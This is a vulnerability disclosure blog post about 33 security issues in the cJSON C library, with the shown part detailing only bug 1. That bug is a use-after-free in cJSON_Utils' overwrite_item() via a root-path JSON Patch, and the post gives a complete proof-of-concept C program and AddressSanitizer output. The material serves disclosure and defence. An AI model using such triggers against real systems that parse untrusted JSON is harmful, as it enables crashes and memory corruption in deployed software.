Vulnerabilities in CJSON

ingve1 pts0 comments

33 Vulnerabilities in cJSON | Joshua Rogers' Scribbles

Back To Top

Hide ToC<br>Show ToC

33 Vulnerabilities in cJSON

cJSON is probably the most widely used JSON parser in the C world. It’s vendored into ESP-IDF, into a lot of embedded firmware, and into a whole lot more server-side C. I found 33 security issues in it, using a mix of AI and some manual fuzzing and review. They affect every version up to and including v1.7.19, and every one of them is still in the current code.

Looking at cJSON’s GitHub, several of these issues have been reported before, some with working proofs of concept attached, and a few of those reports are years old by now. Development has been more or less stagnant for four years. Memory-safety reports sit open and unanswered, and in a few cases the patch that would fix them is sitting right there in the same thread, unmerged. For most of what follows there is simply nothing available to apply. So this is a writeup instead of another bug report. If you ship cJSON, you need to know what’s in it, because nobody is going to hand you a fixed version.

Every proof of concept below is complete and self-contained. I compiled them all with:

cc -fsanitize=address,undefined -fno-omit-frame-pointer -g -O0 \<br>-I. cJSON.c cJSON_Utils.c poc.c -o poc -lm

One thing to know before you try to reproduce any of this. A few of them only crash with AddressSanitizer and UndefinedBehaviorSanitizer enabled together, on an unoptimised build, because it’s the instrumentation that fattens the stack frames enough to run off the end. With ASan alone, or at -O2, some of them quietly return NULL instead. Test with a partial sanitizer set and this library looks considerably healthier than it is.

The first thirteen are memory-safety issues and a denial of service. The rest are logic bugs, most of which lose data or operate on the wrong object member without saying so. In a library whose whole job is applying somebody else’s patch document to your data, I count those.

Note: I used AI to help write this post, mostly because there are so many of them and doing 33 of these by hand is miserable. I have no emotional attachment to this project or to these findings, and getting them published seemed more useful than getting the prose exactly the way I’d write it myself.

If cJSON is parsing attacker-controlled JSON anywhere in your stack, look at what it would take to move off it. And don’t just merge the unlanded patches sitting on the GitHub repository and call it done, either. Some of those introduce fresh bugs of their own, from what I saw.

Bug number 1 (use-after-free)

Details

overwrite_item() handles a JSON Patch operation whose path is the empty string, meaning one that replaces the whole document root. It frees the node’s child, valuestring and string unconditionally:

/* cJSON_Utils.c:791 */<br>static void overwrite_item(cJSON * const root, const cJSON replacement)<br>if (root == NULL)<br>return;

if (root->string != NULL)<br>cJSON_free(root->string); /* [ ignores cJSON_StringIsConst ] */<br>if (root->valuestring != NULL)<br>cJSON_free(root->valuestring); /* [ ignores cJSON_IsReference ] */<br>if (root->child != NULL)<br>cJSON_Delete(root->child); /* [ ignores cJSON_IsReference ] */

memcpy(root, &replacement, sizeof(cJSON));

cJSON’s own destructor honours both of those flags. This function doesn’t. cJSON_IsReference means child and valuestring are borrowed and belong to somebody else, and cJSON_StringIsConst means string must never be freed. A node made by cJSON_CreateObjectReference() holds a borrowed subtree in child, so a patch containing {"op":"replace","path":""} frees a subtree the patched node doesn’t own. The real owner then frees it a second time.

The same helper throws in two more invalid frees while it’s there. Against a node from cJSON_CreateStringReference() it calls cJSON_free() on memory that may never have been on the heap. Against one whose key was set with cJSON_AddItemToObjectCS(), it calls cJSON_free() on a string literal.

Proof of Concept

#include "cJSON.h"<br>#include "cJSON_Utils.h"

int main(void)<br>cJSON *owner = cJSON_Parse("{\"k\":{\"n\":1}}");<br>cJSON *ref = cJSON_CreateObjectReference(cJSON_GetObjectItem(owner, "k"));<br>cJSON *patch = cJSON_Parse("[{\"op\":\"replace\",\"path\":\"\",\"value\":1}]");

cJSONUtils_ApplyPatches(ref, patch); /* frees owner's "k" through the reference */<br>cJSON_Delete(owner); /* use-after-free / double free on "k" */<br>return 0;

==85943==ERROR: AddressSanitizer: heap-use-after-free on address 0x606000000260 at pc 0x0001021554dc bp 0x00016dcaa540 sp 0x00016dcaa538<br>READ of size 8 at 0x606000000260 thread T0<br>#0 0x0001021554d8 in cJSON_Delete cJSON.c:258<br>#1 0x00010215573c in cJSON_Delete cJSON.c:261<br>#2 0x000102189674 in main poc.c:15

0x606000000260 is located 0 bytes inside of 64-byte region [0x606000000260,0x6060000002a0)<br>freed by thread T0 here:<br>#0 0x00010270d424 in free+0x7c<br>#1 0x000102155e00 in cJSON_Delete cJSON.c:273<br>#2 0x000102185a0c in overwrite_item cJSON_Utils.c:801<br>#3...

cjson root patch string null free

Related Articles